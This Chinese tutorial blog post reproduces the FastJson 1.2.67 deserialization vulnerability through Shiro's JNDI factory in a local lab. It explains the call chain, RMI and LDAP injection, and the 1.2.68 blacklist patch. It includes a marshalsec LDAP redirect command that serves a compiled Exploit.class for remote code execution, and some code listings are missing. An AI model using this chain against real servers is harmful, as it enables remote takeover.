前言
前不久传的沸沸扬扬的FastJson反序列化漏洞 相信有不少企业都中招了 当然我司也未能幸免 基于次漏洞更具官方给的补漏措施
已完全可以避免在这不再阐述 本文就拿它从一个简单的FastJson 漏洞开始 搭建漏洞环境 分析漏洞成因 使用条件等 从入门者的
角度看懂并复现漏洞触发 拥有属于自己的一套漏洞调试环境。
以下便是部分官方公告:
0x01 Fastjson简介
Fastjson 是Alibaba的开源JSON解析库 它可以解析 JSON 格式的字符串 支持将 Java Bean 序列化为 JSON
字符串也可以从 JSON 字符串反序列化到 JavaBean。
https://github.com/alibaba/fastjson
0x02 环境搭建
JDK 版本:8u112 fastjson: 1.2.67 shiro: 1.5.1 slf4j-nop: 1.7.25
0x1 添加依赖包
为了快速添加项目所需要的jar包 创建Maven项目如下
Maven文件:pom.xml
导入工程之后右键pom.xml 点击下载源码source和document。
0x2 Idea中JDK版本选择
此漏洞应该选择:JDK 8u112
0x3 手动漏洞代码
此时在main文件夹中 添加漏洞代码核心在于调用了fastjson.JSON的parseObject 两函数
0x03 漏洞原理
0x1 FastJson 类解析
如图:fastjson.java
因此 通过以上代码可以看出调用parseObject 函数会调用getattr()方法。
0x2 漏洞调用链分析
此时我们进行调用栈分析:
利用1:parseObject 对象类型转换
在这一步的操作是将obj对应的对象类型转化为json 这肯定要获得getattr() 对象方法 从而会触发漏洞。
利用2:反射调用
将用invoke方法 调用getinstance()方法:
例:
利用3: 触发ldapJndiObjectFactory getinstance中调用了this.lookup(resourceName)方法:
例:
0x3 JNDI 注入
在Java Name Directory Interface中 Java的命名和目录接口 JNDI 是一种Java 的API 类似于一个索引中心 允许客户
端通过name发现和查找数据 JNDI包括Naming Service和Directory Service 此时 通过名称来寻找数据和对象的API
我们也称其中为一种绑定 但是JNDI可访问的现有的目录及服务有:JDBC LDAP RMI DNS NIS CORBA。
整个应用场景如:动态加载数据库配置文件 从而保持数据库代码不变动等。
漏洞注入方法:
JNDI Reference 配合 RMI
JNDI Reference 配合 LDAP
RMI格式:ctx.lookup("rmi://localhost:9999/refObj");
LDAP格式ctx.lookup("ldap://localhost:9999/refObj");
假若lookup函数中的参数攻击者可控 便可以指向攻击者的服务器 即:可实现JNDI注入实现任意代码执行。
注入1:RMI
简称RMI(Remote Method Invocation 远程方法调用 远程方法调用是分布式编程中的基本思想 实现远程方法调用
的
技术有CORBA WebService等 这两种独立于编程语言 RMI则是专门为JAVA设计 依赖JRMP通讯协议。
注入2:LDAP
简称:LDAP Lightweight Directory Access Protocol 轻型目录访问协议 一种目录服务协议 主要运行在TCP/IP堆栈之上目
录服务是一个特殊的数据库 用来保存描述性的 基于属性的详细信息 从而能进行查询 浏览和搜索 以树状结构组织数据 LDAP
以树结构标识所以不能像表格一样用SQL语句查询 它 读 性能很强 但 写 性能较差 并且没有事务处理 回滚等复杂功能 不适于
存储修改频繁的数据 LDAP目录和RMI注册表的区别在于是前者是目录服务 并允许分配存储对象的属性 该漏洞简单的将利用
org.apache.shiro 包中的jndi功能访问自己搭建的ldap服务 获取并执行自己编译的Exploit.class文件。
0x04 漏洞利用 0x1 Java 利用代码编译
0x2 此时开启 LDAP 服务
使用marshalsec启动一个ladp服务器 下载地址为
https://github.com/mbechler/marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
http://127.0.0.1:8089/#Exploit
0x3 开启HTTP Web 服务
此时将编译好的Exploit.class 放在web目录下并开启服务
0x05 漏洞补丁
这个链接梳理了fastjson hash对应的jar 可以方便的寻找已经被过滤的jar包
https://github.com/LeadroyaL/fastjson-blacklist
该漏洞采用黑名单的方式进行修补 在1.2.68中把org.apache.shiro.jndi 给ban掉了
具体代码如下图所示 在 public Class<?> checkAutoType(String typeName Class<?> expectClass,int features)
函数中有对应处理 黑名单hash生成算法 大概思路是将每一位都异或进行异或
叠加。